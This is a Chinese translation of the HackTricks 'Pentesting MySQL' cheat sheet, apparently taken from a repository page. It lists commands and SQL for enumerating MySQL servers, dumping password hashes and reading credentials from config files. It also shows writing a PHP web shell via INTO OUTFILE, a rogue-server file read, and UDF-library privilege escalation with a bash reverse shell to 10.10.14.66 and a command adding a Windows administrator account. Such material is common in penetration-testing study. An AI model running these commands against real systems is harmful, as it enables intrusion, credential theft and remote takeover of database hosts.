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Translator 5a6b15c8da Translated ['macos-hardening/macos-security-and-privilege-escalation/mac

2024-07-19 11:24:45 +00:00

3306 - Pentesting Mysql

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RootedCON 是 西班牙 最相关的网络安全事件，也是欧洲最重要的事件之一。该大会的 使命是促进技术知识，是各个学科技术和网络安全专业人士的热烈交流平台。

{% embed url="https://www.rootedcon.com/" %}

基本信息

MySQL 可以被描述为一个开源的 关系数据库管理系统 (RDBMS)，可免费使用。它基于 结构化查询语言 (SQL)，使得数据库的管理和操作成为可能。

默认端口： 3306

3306/tcp open  mysql

连接

本地

mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)

远程

mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost

External Enumeration

某些枚举操作需要有效的凭据

nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds

写入任何二进制数据

CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)

MySQL 命令

show databases;
use <database>;
connect <database>;
show tables;
describe <table_name>;
show columns from <table>;

select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name

#Get a shell with the mysql client user
\! sh

#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"

#Read & Write
## Yo need FILE privilege to read & write to files.
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'

#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;

mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'

MySQL 权限枚举

#Mysql
SHOW GRANTS [FOR user];
SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';
SHOW GRANTS FOR CURRENT_USER();

# Get users, permissions & hashes
SELECT * FROM mysql.user;

#From DB
select * from mysql.user where user='root';
## Get users with file_priv
select user,file_priv from mysql.user where file_priv='Y';
## Get users with Super_priv
select user,Super_priv from mysql.user where Super_priv='Y';

# List functions
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';

您可以在文档中查看每个权限的含义：https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html

MySQL 文件 RCE

{% content-ref url="../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md" %} mysql-ssrf.md {% endcontent-ref %}

MySQL 客户端任意读取文件

实际上，当您尝试 load data local into a table 文件的内容时，MySQL 或 MariaDB 服务器会要求 客户端读取它 并发送内容。然后，如果您可以篡改一个 mysql 客户端以连接到您自己的 MySQL 服务器，您可以读取任意文件。
请注意，这是使用以下方式的行为：

load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

(注意“local”这个词)
因为没有“local”你可能会得到：

mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

初始 PoC: https://github.com/allyshka/Rogue-MySql-Server
在这篇论文中，您可以看到攻击的完整描述，甚至如何将其扩展到 RCE: https://paper.seebug.org/1113/
在这里您可以找到攻击的概述: http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/

RootedCON 是 西班牙 最相关的网络安全事件，也是欧洲最重要的事件之一。该大会的 使命是促进技术知识，是各个学科的技术和网络安全专业人士的一个热烈的交流平台。

{% embed url="https://www.rootedcon.com/" %}

POST

Mysql 用户

如果 mysql 以 root 身份运行，那将非常有趣：

cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1

mysqld.cnf 的危险设置

在 MySQL 服务的配置中，使用各种设置来定义其操作和安全措施：

user 设置用于指定 MySQL 服务将以哪个用户身份执行。
password 用于建立与 MySQL 用户相关联的密码。
admin_address 指定在管理网络接口上监听 TCP/IP 连接的 IP 地址。
debug 变量指示当前的调试配置，包括日志中的敏感信息。
sql_warnings 管理在出现警告时是否为单行 INSERT 语句生成信息字符串，日志中包含敏感数据。
使用 secure_file_priv，数据导入和导出操作的范围受到限制，以增强安全性。

权限提升

# Get current user (an all users) privileges and hashes
use mysql;
select user();
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;

# Get users, permissions & creds
SELECT * FROM mysql.user;
mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"

# Create user and give privileges
create user test identified by 'test';
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;

# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh

通过库进行权限提升

如果 mysql 服务器以 root 身份运行（或其他更高权限的用户），您可以使其执行命令。为此，您需要使用 用户定义函数。要创建用户定义函数，您将需要一个库，该库适用于运行 mysql 的操作系统。

可以在 sqlmap 和 metasploit 中找到要使用的恶意库，通过执行 locate "*lib_mysqludf_sys*"。.so 文件是 linux 库，.dll 是 Windows 库，选择您需要的。

如果您没有这些库，您可以 寻找它们，或下载这个 linux C 代码 并 在 linux 漏洞机器中编译：

gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

现在您已经拥有了库，以特权用户（root？）身份登录到Mysql，并按照以下步骤操作：

Linux

# Use a database
use mysql;
# Create a table to load the library and move it to the plugins dir
create table npn(line blob);
# Load the binary library inside the table
## You might need to change the path and file name
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
# Get the plugin_dir path
show variables like '%plugin%';
# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
# dump in there the library
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
# Create a function to execute commands
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
# Execute commands
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');

Windows

# CHech the linux comments for more indications
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));
show variables like '%plugin%';
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");

从文件中提取 MySQL 凭据

在 /etc/mysql/debian.cnf 中，您可以找到用户 debian-sys-maint 的 明文密码。

cat /etc/mysql/debian.cnf

您可以使用这些凭据登录mysql数据库。

在文件：_ /var/lib/mysql/mysql/user.MYD 中，您可以找到所有MySQL用户的哈希（您可以从数据库中的mysql.user提取的那些）。

您可以通过以下方式提取它们：

grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"

启用日志记录

您可以通过取消注释以下行在 /etc/mysql/my.cnf 中启用 mysql 查询的日志记录：

有用的文件

配置文件

windows *
config.ini
my.ini
windows\my.ini
winnt\my.ini
<InstDir>/mysql/data/
unix
my.cnf
/etc/my.cnf
/etc/mysql/my.cnf
/var/lib/mysql/my.cnf
~/.my.cnf
/etc/my.cnf
命令历史
~/.mysql.history
日志文件
connections.log
update.log
common.log

默认 MySQL 数据库/表

{% tabs %} {% tab title="information_schema" %} ALL_PLUGINS
APPLICABLE_ROLES
CHARACTER_SETS
CHECK_CONSTRAINTS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
ENABLED_ROLES
ENGINES
EVENTS
FILES
GLOBAL_STATUS
GLOBAL_VARIABLES
KEY_COLUMN_USAGE
KEY_CACHES
OPTIMIZER_TRACE
PARAMETERS
PARTITIONS
PLUGINS
PROCESSLIST
PROFILING
REFERENTIAL_CONSTRAINTS
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
SESSION_STATUS
SESSION_VARIABLES
STATISTICS
SYSTEM_VARIABLES
TABLES
TABLESPACES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
INNODB_LOCKS
INNODB_TRX
INNODB_SYS_DATAFILES
INNODB_FT_CONFIG
INNODB_SYS_VIRTUAL
INNODB_CMP
INNODB_FT_BEING_DELETED
INNODB_CMP_RESET
INNODB_CMP_PER_INDEX
INNODB_CMPMEM_RESET
INNODB_FT_DELETED
INNODB_BUFFER_PAGE_LRU
INNODB_LOCK_WAITS
INNODB_TEMP_TABLE_INFO
INNODB_SYS_INDEXES
INNODB_SYS_TABLES
INNODB_SYS_FIELDS
INNODB_CMP_PER_INDEX_RESET
INNODB_BUFFER_PAGE
INNODB_FT_DEFAULT_STOPWORD
INNODB_FT_INDEX_TABLE
INNODB_FT_INDEX_CACHE
INNODB_SYS_TABLESPACES
INNODB_METRICS
INNODB_SYS_FOREIGN_COLS
INNODB_CMPMEM
INNODB_BUFFER_POOL_STATS
INNODB_SYS_COLUMNS
INNODB_SYS_FOREIGN
INNODB_SYS_TABLESTATS
GEOMETRY_COLUMNS
SPATIAL_REF_SYS
CLIENT_STATISTICS
INDEX_STATISTICS
USER_STATISTICS
INNODB_MUTEXES
TABLE_STATISTICS
INNODB_TABLESPACES_ENCRYPTION
user_variables
INNODB_TABLESPACES_SCRUBBING
INNODB_SYS_SEMAPHORE_WAITS {% endtab %}

{% tab title="mysql" %} columns_priv
column_stats
db
engine_cost
event
func
general_log
gtid_executed
gtid_slave_pos
help_category
help_keyword
help_relation
help_topic
host
index_stats
innodb_index_stats
innodb_table_stats
ndb_binlog_index
plugin
proc
procs_priv
proxies_priv
roles_mapping
server_cost
servers
slave_master_info
slave_relay_log_info
slave_worker_info
slow_log
tables_priv
table_stats
time_zone
time_zone_leap_second
time_zone_name
time_zone_transition
time_zone_transition_type
transaction_registry
user {% endtab %}

{% tab title="performance_schema" %} accounts
cond_instances
events_stages_current
events_stages_history
events_stages_history_long
events_stages_summary_by_account_by_event_name
events_stages_summary_by_host_by_event_name
events_stages_summary_by_thread_by_event_name
events_stages_summary_by_user_by_event_name
events_stages_summary_global_by_event_name
events_statements_current
events_statements_history
events_statements_history_long
events_statements_summary_by_account_by_event_name
events_statements_summary_by_digest
events_statements_summary_by_host_by_event_name
events_statements_summary_by_program
events_statements_summary_by_thread_by_event_name
events_statements_summary_by_user_by_event_name
events_statements_summary_global_by_event_name
events_transactions_current
events_transactions_history
events_transactions_history_long
events_transactions_summary_by_account_by_event_name
events_transactions_summary_by_host_by_event_name
events_transactions_summary_by_thread_by_event_name
events_transactions_summary_by_user_by_event_name
events_transactions_summary_global_by_event_name
events_waits_current
events_waits_history
events_waits_history_long
events_waits_summary_by_account_by_event_name
events_waits_summary_by_host_by_event_name
events_waits_summary_by_instance
events_waits_summary_by_thread_by_event_name
events_waits_summary_by_user_by_event_name
events_waits_summary_global_by_event_name
file_instances
file_summary_by_event_name
file_summary_by_instance
global_status
global_variables
host_cache
hosts
memory_summary_by_account_by_event_name
memory_summary_by_host_by_event_name
memory_summary_by_thread_by_event_name
memory_summary_by_user_by_event_name
memory_summary_global_by_event_name
metadata_locks
mutex_instances
objects_summary_global_by_type
performance_timers
prepared_statements_instances
replication_applier_configuration
replication_applier_status
replication_applier_status_by_coordinator
replication_applier_status_by_worker
replication_connection_configuration
replication_connection_status
replication_group_member_stats
replication_group_members
rwlock_instances
session_account_connect_attrs
session_connect_attrs
session_status
session_variables
setup_actors
setup_consumers
setup_instruments
setup_objects
setup_timers
socket_instances
socket_summary_by_event_name
socket_summary_by_instance
status_by_account
status_by_host
status_by_thread
status_by_user
table_handles
table_io_waits_summary_by_index_usage
table_io_waits_summary_by_table
table_lock_waits_summary_by_table
threads
user_variables_by_thread
users
variables_by_thread {% endtab %}

{% tab title="sys" %} host_summary
host_summary_by_file_io
host_summary_by_file_io_type
host_summary_by_stages
host_summary_by_statement_latency
host_summary_by_statement_type
innodb_buffer_stats_by_schema
innodb_buffer_stats_by_table
innodb_lock_waits
io_by_thread_by_latency
io_global_by_file_by_bytes
io_global_by_file_by_latency
io_global_by_wait_by_bytes
io_global_by_wait_by_latency
latest_file_io
memory_by_host_by_current_bytes
memory_by_thread_by_current_bytes
memory_by_user_by_current_bytes
memory_global_by_current_bytes
memory_global_total
metrics
processlist
ps_check_lost_instrumentation
schema_auto_increment_columns
schema_index_statistics
schema_object_overview
schema_redundant_indexes
schema_table_lock_waits
schema_table_statistics
schema_table_statistics_with_buffer
schema_tables_with_full_table_scans
schema_unused_indexes
session
session_ssl_status
statement_analysis
statements_with_errors_or_warnings
statements_with_full_table_scans
statements_with_runtimes_in_95th_percentile
statements_with_sorting
statements_with_temp_tables
sys_config
user_summary
user_summary_by_file_io
user_summary_by_file_io_type
user_summary_by_stages
user_summary_by_statement_latency
user_summary_by_statement_type
version
wait_classes_global_by_avg_latency
wait_classes_global_by_latency
waits_by_host_by_latency
waits_by_user_by_latency
waits_global_by_latency
x$host_summary
x$host_summary_by_file_io
x$host_summary_by_file_io_type
x$host_summary_by_stages
x$host_summary_by_statement_latency
x$host_summary_by_statement_type
x$innodb_buffer_stats_by_schema
x$innodb_buffer_stats_by_table
x$innodb_lock_waits
x$io_by_thread_by_latency
x$io_global_by_file_by_bytes
x$io_global_by_file_by_latency
x$io_global_by_wait_by_bytes
x$io_global_by_wait_by_latency
x$latest_file_io
x$memory_by_host_by_current_bytes
x$memory_by_thread_by_current_bytes
x$memory_by_user_by_current_bytes
x$memory_global_by_current_bytes
x$memory_global_total
x$processlist
x$ps_digest_95th_percentile_by_avg_us
x$ps_digest_avg_latency_distribution
x$ps_schema_table_statistics_io
x$schema_flattened_keys
x$schema_index_statistics
x$schema_table_lock_waits
x$schema_table_statistics
x$schema_table_statistics_with_buffer
x$schema_tables_with_full_table_scans
x$session
x$statement_analysis
x$statements_with_errors_or_warnings
x$statements_with_full_table_scans
x$statements_with_runtimes_in_95th_percentile
x$statements_with_sorting
x$statements_with_temp_tables
x$user_summary
x$user_summary_by_file_io
x$user_summary_by_file_io_type
x$user_summary_by_stages
x$user_summary_by_statement_latency
x$user_summary_by_statement_type
x$wait_classes_global_by_avg_latency
x$wait_classes_global_by_latency
x$waits_by_host_by_latency
x$waits_by_user_by_latency
x$waits_global_by_latency {% endtab %} {% endtabs %}

HackTricks 自动命令

Protocol_Name: MySql    #Protocol Abbreviation if there is one.
Port_Number:  3306     #Comma separated if there is more than one.
Protocol_Description: MySql     #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).

https://book.hacktricks.xyz/pentesting/pentesting-mysql

Entry_2:
Name: Nmap
Description: Nmap with MySql Scripts
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306

Entry_3:
Name: MySql
Description: Attempt to connect to mysql server
Command: mysql -h {IP} -u {Username}@localhost

Entry_4:
Name: MySql consolesless mfs enumeration
Description: MySql enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'

RootedCON 是 西班牙 最相关的网络安全事件，也是欧洲最重要的活动之一。该大会 旨在促进技术知识，是各个学科技术和网络安全专业人士的热烈交流平台。

{% embed url="https://www.rootedcon.com/" %}

{% hint style="success" %} 学习和实践 AWS 黑客技术：HackTricks 培训 AWS 红队专家 (ARTE)
学习和实践 GCP 黑客技术：HackTricks 培训 GCP 红队专家 (GRTE)

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加入 💬 Discord 群组 或 Telegram 群组 或在 Twitter 🐦 @hacktricks_live** 上关注我们。**
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{% endhint %}

23 KiB

Raw Blame History

3306 - Pentesting Mysql

基本信息

连接

本地

远程

External Enumeration

暴力破解

写入任何二进制数据

MySQL 命令

MySQL 权限枚举

MySQL 文件 RCE

MySQL 客户端任意读取文件

POST

Mysql 用户

mysqld.cnf 的危险设置

权限提升

通过库进行权限提升

Linux

Windows

从文件中提取 MySQL 凭据

启用日志记录

有用的文件

默认 MySQL 数据库/表

HackTricks 自动命令

23 KiB Raw Blame History Unescape Escape

3306 - Pentesting Mysql

基本信息

连接

本地

远程

External Enumeration

暴力破解

写入任何二进制数据

MySQL 命令

MySQL 权限枚举

MySQL 文件 RCE

MySQL 客户端任意读取文件

POST

Mysql 用户

mysqld.cnf 的危险设置

权限提升

通过库进行权限提升

Linux

Windows

从文件中提取 MySQL 凭据

启用日志记录

有用的文件

默认 MySQL 数据库/表

HackTricks 自动命令

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